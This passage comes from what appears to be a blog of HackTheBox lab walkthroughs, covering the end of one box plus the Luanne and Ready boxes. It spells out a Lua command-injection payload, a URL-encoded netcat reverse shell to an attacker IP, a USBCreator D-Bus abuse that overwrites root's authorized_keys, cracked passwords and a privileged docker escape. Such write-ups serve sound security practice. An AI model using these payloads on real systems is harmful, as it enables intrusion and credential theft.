src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully escalated to paul.&lt;/p&gt;&#10;&lt;p&gt;paul&amp;rsquo;s private key was under .ssh. I extracted it and prepared to connect over ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But while examining the public key, I noticed that the user at the end was not paul.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They apparently used the same key pair.&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;find / -group dip -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;I did not find much belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;Notably, nadav belonged to the sudo group, meaning he could run sudo. This differed from paul.&lt;/p&gt;&#10;&lt;p&gt;But sudo -l required a password. My current plan was therefore to find it. I searched everything and found no password at all.&lt;/p&gt;&#10;&lt;p&gt;I began looking at suid files and found something unfamiliar.&lt;/p&gt;&#10;&lt;p&gt;/bin/ntfs-3g&#9;I searched for a privilege-escalation method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored, so I investigated the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The errors mainly occurred at the final two points. I kept searching for vulnerabilities and found a very good post.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It suggested using:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/41356" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/41356&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://project-zero.issues.chromium.org/issues/42450079" target="_blank" rel="noopener"&#10; &gt;https://project-zero.issues.chromium.org/issues/42450079&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;one of the two exps above. That was correct. I tried both, but each produced:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This path clearly did not work.&lt;/p&gt;&#10;&lt;p&gt;I had no ideas afterward, so I inspected the home directories again. Earlier I had focused only on passwords and missed this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was not a conventional configuration file. I started searching for related vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/" target="_blank" rel="noopener"&#10; &gt;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The bottom of this page explained how to use it. Perhaps my search method was flawed, because this was the only article I found that actually showed the procedure, all the way at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I had a command, I searched google for &amp;ldquo;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator&amp;rdquo;.&lt;/p&gt;&#10;&lt;p&gt;That led to this site:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://kashz.gitbook.io/kashz-jewels/services/usbcreator" target="_blank" rel="noopener"&#10; &gt;https://kashz.gitbook.io/kashz-jewels/services/usbcreator&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its commands were very detailed. I assembled the command:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/root/root.txt&amp;rsquo; &amp;lsquo;/tmp/1111.txt&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained the flag, but I still wanted a proper privilege escalation. Since I could write arbitrary files:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/home/nadav/.ssh/authorized_keys&amp;rsquo; &amp;lsquo;/root/.ssh/authorized_keys&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was quite different from the earlier ones. The privilege-escalation methods in the later boxes are becoming increasingly varied, so I simply need to practice more of them.&lt;/p&gt;&#10;&lt;h2 id="29luanne"&gt;&lt;a href="#29luanne" class="header-anchor"&gt;&lt;/a&gt;29.Luanne&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218/&lt;/a&gt; required a login, so I brute-forced it first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The request returned 404, so I continued brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting it showed that this was a weather endpoint with a lua backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I consulted several articles. Since the backend was written in lua, command injection might be present.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/" target="_blank" rel="noopener"&#10; &gt;https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gtfobins.github.io/gtfobins/lua/" target="_blank" rel="noopener"&#10; &gt;https://gtfobins.github.io/gtfobins/lua/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Testing showed that commands could not be executed directly. It only returned the supplied input. A single quote produced an error, while most other inputs did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the language documentation. The code might have been written this way: close the value with &amp;lsquo;, then use &amp;lsquo;; to execute another command. Since the output here was only a string, closing the preceding expression would let me append a command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did not work in practice, so I kept trying. The closing syntax was probably wrong. This sort of command injection also required commenting out the trailing code so it would not interfere with mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After a long search I found the correct closing syntax. The &amp;rsquo; was definitely relevant or it would not have caused an error, but a lone &amp;rsquo; did not work. After many more attempts, &amp;lsquo;) succeeded.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)&amp;ndash;+&lt;/a&gt;os.execute(%22id%22)&amp;ndash;+)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then tried many times to get a reverse shell, without success. nc worked, but could not establish a shell connection.&lt;/p&gt;&#10;&lt;p&gt;I suspected the shell might be wrong. Testing showed that the current user&amp;rsquo;s shell was /bin/sh, yet it still would not connect back. I put the reverse shell aside and inspected other files first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a .htpasswd in the current directory.&lt;/p&gt;&#10;&lt;p&gt;It cracked to webapi_user:iamthebest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 still did not work.&lt;/p&gt;&#10;&lt;p&gt;Neither did 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no /etc/passwd entry, meaning this was only a website account. Then I remembered that port 80 also had a login page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be the same thing as before, with no meaningful difference.&lt;/p&gt;&#10;&lt;p&gt;There were very few entry points left: a url where the reverse shell did not work, and an unknown website on 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The lua reverse shell was also missing a library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;lsquo;) os.execute(&amp;ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.16.21 6666 &amp;gt;/tmp/f&amp;rdquo;) &amp;ndash;+&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It finally worked. This was absurd: sh could not find the command without an explicit path. It also seemed that Burp Suite&amp;rsquo;s URL encoding added an extra carriage return, or something similar.&lt;/p&gt;&#10;&lt;p&gt;Nothing worked for ages. It felt like superstition.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As an aside, I had a bad feeling from the moment I saw the rating.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not get a tty.&lt;/p&gt;&#10;&lt;p&gt;I tried many privilege-escalation checks, but a lot of familiar tools seemed to be missing. I searched for NetBSD 9.0.&lt;/p&gt;&#10;&lt;p&gt;Its commands appeared somewhat different from ordinary linux commands.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Local ports 3000 and 3001 were listening.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authentication was easy. I had credentials from above that worked on the weather endpoint. I had seen this authentication scheme many times; tomcat is a classic example.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3000" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3001" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Ports 3000 and 3001 appeared to serve the same thing.&lt;/p&gt;&#10;&lt;p&gt;I had an idea: the two services were identical, but perhaps they had been started by different users. I knew very little about bsd commands, so I searched google as best I could for “how to see which user opened a port on bsd.”&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both were present, so I tried them. I already had the exp anyway.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Port 3000 worked and returned a shell, while 3001 did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried many methods but could not map pids to ports.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netstat -an&lt;/p&gt;&#10;&lt;p&gt;sockstat -4l&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Neither helped, and I had no other methods left.&lt;/p&gt;&#10;&lt;p&gt;At this point I genuinely could not continue. The only option was to build a tunnel and test the service, but that did not seem likely to help.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that the r.michaels directory could be accessed through the website. Apparently this was a backup service.&lt;/p&gt;&#10;&lt;p&gt;I never would have thought of that. Perhaps there was a problem with my procedure, because I had no way to determine whether 3001 corresponded to the r.michaels user.&lt;/p&gt;&#10;&lt;p&gt;The write-ups found it through directory brute-forcing. My wordlist certainly would not have contained these values, and I would never have thought to build one from distinctive strings in files such as home and passwd. That did not feel like a systematic approach. Perhaps my commands were still wrong. After finishing, I planned to ask GPT whether there was a way to map a port and process to the corresponding user and files.&lt;/p&gt;&#10;&lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3001/~r.michaels/id_rsa%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001/~r.michaels/id_rsa&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;This was very strange. Apparently ~ traversed into the r.michaels directory, requiring only that the current user be r.michaels, a member of users, or root. I did not know that a service started by python could allow this kind of traversal. In any case, it was a very strange thing to try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a backup file. I transferred it to kali. The enc file was encrypted, so I needed to determine how to encrypt and decrypt it while also checking the other directories.&lt;/p&gt;&#10;&lt;p&gt;I became stuck again and could not decrypt it at all. It looked as though I needed to identify the encryption type and find a key, but I had no idea where the key was. I checked a write-up again.&lt;/p&gt;&#10;&lt;p&gt;A single command solved it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netpgp &amp;ndash;decrypt devel_backup-2020-09-16.tar.gz.enc &amp;ndash;output=/tmp/raj.tar.gz&lt;/p&gt;&#10;&lt;p&gt;tar -xvf /tmp/raj.tar.gz&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It also contained devel-2020-09-16/www/.htpasswd.&lt;/p&gt;&#10;&lt;p&gt;It cracked as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;littlebear&lt;/p&gt;&#10;&lt;p&gt;su could not switch users, so I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There was a reason this scored 2.5. I do not know whether these were netbsd-specific behaviors or something else, but the box was extremely unpleasant to use. Its commands were completely different from the ones I knew, and its ways of getting a shell were bizarre. It did broaden my experience, but completing it felt awful. This was the most frustrating box yet.&lt;/p&gt;&#10;&lt;p&gt;Finally, I revisited my earlier question. There was indeed a method.&lt;/p&gt;&#10;&lt;p&gt;ps aux | grep httpd&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had overlooked ps at the time because this linux system seemed to lack every familiar command, and everything behaved differently.&lt;/p&gt;&#10;&lt;p&gt;This clearly showed that port 3001 had been started by r.michaels.&lt;/p&gt;&#10;&lt;h2 id="30time"&gt;&lt;a href="#30time" class="header-anchor"&gt;&lt;/a&gt;30.Time&#10;&lt;/h2&gt;&lt;p&gt;The rating is a little low, so I am leaving this blank for now.&lt;/p&gt;&#10;&lt;h2 id="31ready"&gt;&lt;a href="#31ready" class="header-anchor"&gt;&lt;/a&gt;31.Ready&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.220:5080/dude/ready-channel" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.220:5080/dude/ready-channel&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After registering and entering, there was only one project.&lt;/p&gt;&#10;&lt;p&gt;I examined it for a long time, but it seemed to be a distraction. Although the project was present, running:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;grep -r &amp;lsquo;password&amp;rsquo; ./&lt;/p&gt;&#10;&lt;p&gt;grep -r &amp;lsquo;username&amp;rsquo; ./&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;revealed no information disclosure, nor any ssh keys.&lt;/p&gt;&#10;&lt;p&gt;google showed me how to check the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were vulnerabilities after all.&lt;/p&gt;&#10;&lt;p&gt;But both appeared to fail. I found a script on github.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one worked and exploited the target successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There was a root_pass file in the root directory, but it was not useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;YG65407Bjqvv9A0a8Tm_7w&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;linenum told us that we were in a docker container, and other methods confirmed the same thing. I thought the intended path was probably a docker escape.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods, but all said that my current account was not root and could not perform the operations. The first step therefore remained escalating to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found docker&amp;rsquo;s configuration files as well as gitlab&amp;rsquo;s.&lt;/p&gt;&#10;&lt;p&gt;I ran cat gitlab.rb | grep passw against them one by one.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found a password in gitlab.rb.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to root.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;wW59U!ZKMbG9+*#h&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The container ran in privileged mode, so a docker escape solved it directly.&lt;/p&gt;&#10;&lt;p&gt;I had tested this while running as 